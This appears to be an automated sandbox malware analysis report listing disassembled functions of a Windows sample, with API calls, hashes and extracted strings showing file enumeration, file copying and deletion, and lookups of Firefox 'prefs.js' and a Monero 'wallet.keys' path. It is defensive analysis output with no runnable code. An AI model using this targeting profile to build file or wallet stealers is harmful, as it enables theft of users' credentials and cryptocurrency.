Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: ad3dcd21eaa8ea1694c0447e3b3b1add25184fabb20e5f00e7de1cdafa765b08
Instruction ID: 0c646c149b115b01b8d2c60514bf683c946b6667ea0d2befd84a8872ef9847b6
Opcode Fuzzy Hash: ad3dcd21eaa8ea1694c0447e3b3b1add25184fabb20e5f00e7de1cdafa765b08
Instruction Fuzzy Hash: 365185B6900218EBCB24FBB4DC85EEA73BCBB44700F4046D8B21992150EB759B85CFA1

Function 00B7ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B7ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00B7ED55
StrCmpCA.SHLWAPI(?,00B91538), ref: 00B7EDAB
StrCmpCA.SHLWAPI(?,00B9153C), ref: 00B7EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00B7F2AE
FindClose.KERNEL32(000000FF), ref: 00B7F2C3

Strings

%s\*.*, xrefs: 00B7ED32

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: c49cb329a46a2b94c28c71194fd6149c5fe2a3201fc13761fd0c838b1783b6bf
Instruction ID: 55adf3739abd4981470ad6cb041e0cb4b707186845d5a416b19e8c535916c884
Opcode Fuzzy Hash: c49cb329a46a2b94c28c71194fd6149c5fe2a3201fc13761fd0c838b1783b6bf
Instruction Fuzzy Hash: E4E1DA719111189AFB54FB64DC51EEE73BCAF54300F4045EAB51A620A2EF346F8ACF62

Function 00F31CC3 Relevance: 16.7, Strings: 12, Instructions: 1664COMMON

Download Yara Rule

Strings

o8wW, xrefs: 00F32B0A
''>, xrefs: 00F32A6B
gj, xrefs: 00F325B3
v'l, xrefs: 00F3311E
vmtu, xrefs: 00F3222D
o8wW, xrefs: 00F32AFF
*V, xrefs: 00F32C20
02ag, xrefs: 00F32090
tW>-, xrefs: 00F32212
X6y, xrefs: 00F324A3
5y?, xrefs: 00F330E5
9L}, xrefs: 00F3234C

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ''>$02ag$5y?$9L}$X6y$o8wW$o8wW$tW>-$v'l$vmtu$*V$gj
API String ID: 0-1833511421
Opcode ID: fecbab5a945ec1fc3d3f7031822095912b34a4c7e8b830584d48a2d783d367fb
Instruction ID: 5e3717ab9e4d0066dabf4c57bb46506295bad6c92b7df161718017d1b59662bd
Opcode Fuzzy Hash: fecbab5a945ec1fc3d3f7031822095912b34a4c7e8b830584d48a2d783d367fb
Instruction Fuzzy Hash: BDB204F360C2049FE304AE29EC8567ABBE5EF94720F1A893DE6C4C7744E63598058796

Function 00B7F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B915B8,00B90D96), ref: 00B7F71E
StrCmpCA.SHLWAPI(?,00B915BC), ref: 00B7F76F
StrCmpCA.SHLWAPI(?,00B915C0), ref: 00B7F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00B7FAB1
FindClose.KERNEL32(000000FF), ref: 00B7FAC3

Strings

prefs.js, xrefs: 00B7F812

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: c75865191487f9b207a14101bd05d6a4149126158c699c57a906a35d2be206d2
Instruction ID: bc675e185d3497c007e040ad65305c07b29556b8a02a63556544e7a795418f06
Opcode Fuzzy Hash: c75865191487f9b207a14101bd05d6a4149126158c699c57a906a35d2be206d2
Instruction Fuzzy Hash: 3CB153719001099BDB24FF64DC96AED73B9AF54300F4085E9E41E961A1EF346B49CFA2

Function 00B716D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B9510C,?,?,?,00B951B4,?,?,00000000,?,00000000), ref: 00B71923
StrCmpCA.SHLWAPI(?,00B9525C), ref: 00B71973
StrCmpCA.SHLWAPI(?,00B95304), ref: 00B71989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B71D40
DeleteFileA.KERNEL32(00000000), ref: 00B71DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00B71E20
FindClose.KERNEL32(000000FF), ref: 00B71E32

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Strings

\*.*, xrefs: 00B717F1

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 4b8b67a89f7f2bf0ffe23f21b01e22d92d8700d086192c62e68c7165bfff5c98
Instruction ID: f621a1d954af15584cf800175d8176120fe1e9878556973668b038b441cba570
Opcode Fuzzy Hash: 4b8b67a89f7f2bf0ffe23f21b01e22d92d8700d086192c62e68c7165bfff5c98
Instruction Fuzzy Hash: 6D12F5719101189BEB19FB64CC96EED73B8AF54300F4045EAB51A660A1EF346F89CFB1

Function 00B7DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00B90C2E), ref: 00B7DE5E
StrCmpCA.SHLWAPI(?,00B914C8), ref: 00B7DEAE
StrCmpCA.SHLWAPI(?,00B914CC), ref: 00B7DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00B7E3E0
FindClose.KERNEL32(000000FF), ref: 00B7E3F2

Strings

\*.*, xrefs: 00B7DE26

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: a88de5c1bcc1108cb60ac49ddbff66d86b6b66cb806ebcd397b2e0fc3cdfb333
Instruction ID: e0907c586bb8d8aa8676464a7b8b58f3e1162f2d4c276fd921f3d98318be1079
Opcode Fuzzy Hash: a88de5c1bcc1108cb60ac49ddbff66d86b6b66cb806ebcd397b2e0fc3cdfb333
Instruction Fuzzy Hash: A7F191718141189AEB15FB64DC95EEE73B8BF54300F8045EAA41A721B1EF346F4ACF62

Function 00B7DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B914B0,00B90C2A), ref: 00B7DAEB
StrCmpCA.SHLWAPI(?,00B914B4), ref: 00B7DB33
StrCmpCA.SHLWAPI(?,00B914B8), ref: 00B7DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00B7DDCC
FindClose.KERNEL32(000000FF), ref: 00B7DDDE

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 0e493485faab38b13d33a8c28b24432b906b896073b9473f47545d4e11e8441b
Instruction ID: 7b8dd4cd0d6d2eb9b2840f307ab6542d2bcfa87863adc0e3c9d17bc910306fae
Opcode Fuzzy Hash: 0e493485faab38b13d33a8c28b24432b906b896073b9473f47545d4e11e8441b
Instruction Fuzzy Hash: 149168769001049BDB14FF74DC569ED73BDAF84340F4086E9F91A96191EE38AB09CBA2

Function 00F38AB5 Relevance: 11.7, Strings: 8, Instructions: 1665COMMON

Download Yara Rule

Strings

6Koe, xrefs: 00F38EB3
(_V, xrefs: 00F38FC8
sj, xrefs: 00F38F98
+/, xrefs: 00F38F07
P0/s, xrefs: 00F38E23
cE?, xrefs: 00F395FF
BEAm, xrefs: 00F390D1
S4{u, xrefs: 00F38ACD

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (_V$+/$6Koe$BEAm$P0/s$S4{u$cE?$sj
API String ID: 0-107983975
Opcode ID: 4866d1e7b15de3bf5bb1bfc6344e993f0c0719e4bda48a69ca8c054e3c976351
Instruction ID: 94bbafa858e1f41d6328ea9f7be2abb622813ec7323ed443207311887387ed24
Opcode Fuzzy Hash: 4866d1e7b15de3bf5bb1bfc6344e993f0c0719e4bda48a69ca8c054e3c976351
Instruction Fuzzy Hash: BEB228F360C2049FE308AE2DEC8567ABBE9EF94320F1A453DEAC5C3744E93558158697

Function 00B87B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

GetKeyboardLayoutList.USER32(00000000,00000000,00B905AF), ref: 00B87BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00B87BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00B87C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00B87C62
LocalFree.KERNEL32(00000000), ref: 00B87D22

Strings

/ , xrefs: 00B87C7F

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: fcf1f0cc08b5a7922046133124af5d1f43ac5df6a260b6a1c8b9e66329cdfc93
Instruction ID: 97f60adbdffcbcc4c8846486d080b7df3f8c805d82f2fc1f82665afcf7127967
Opcode Fuzzy Hash: fcf1f0cc08b5a7922046133124af5d1f43ac5df6a260b6a1c8b9e66329cdfc93
Instruction Fuzzy Hash: 33415E71940218EBDB24EB94DC99BEDB3B4FF44704F2042D9E009A22A0DB346F85CFA1

Function 00F428A5 Relevance: 10.4, Strings: 7, Instructions: 1699COMMON

Download Yara Rule

Strings

]?o, xrefs: 00F429B8
]?o, xrefs: 00F429DE
P_}/, xrefs: 00F43D1E
*N}, xrefs: 00F42981
*N}, xrefs: 00F429B2
T6*, xrefs: 00F43A18
U|, xrefs: 00F43830

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: P_}/$T6*$U|$]?o$]?o$*N}$*N}
API String ID: 0-686132001
Opcode ID: a161b71eaa271087c5080759a188793f6127619956ab83f584fd2c2b0b44fcd8
Instruction ID: 57a7767d72bfe1ccdbd868ceeb7de861ba7bad399e07b094759b92a6bec1b2f0
Opcode Fuzzy Hash: a161b71eaa271087c5080759a188793f6127619956ab83f584fd2c2b0b44fcd8
Instruction Fuzzy Hash: 33B229F3A0C2149FE3046F2DEC8567AFBE9EB94720F1A453DEAC4C3744EA7558058692

Function 00F33863 Relevance: 10.4, Strings: 7, Instructions: 1659COMMON

Download Yara Rule

Strings

g~, xrefs: 00F347BE
^:ww, xrefs: 00F33E5B
>y>o, xrefs: 00F33D82
`hg/, xrefs: 00F3444D
EnkG, xrefs: 00F34043
avn, xrefs: 00F34B5F
5@/, xrefs: 00F343BD

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
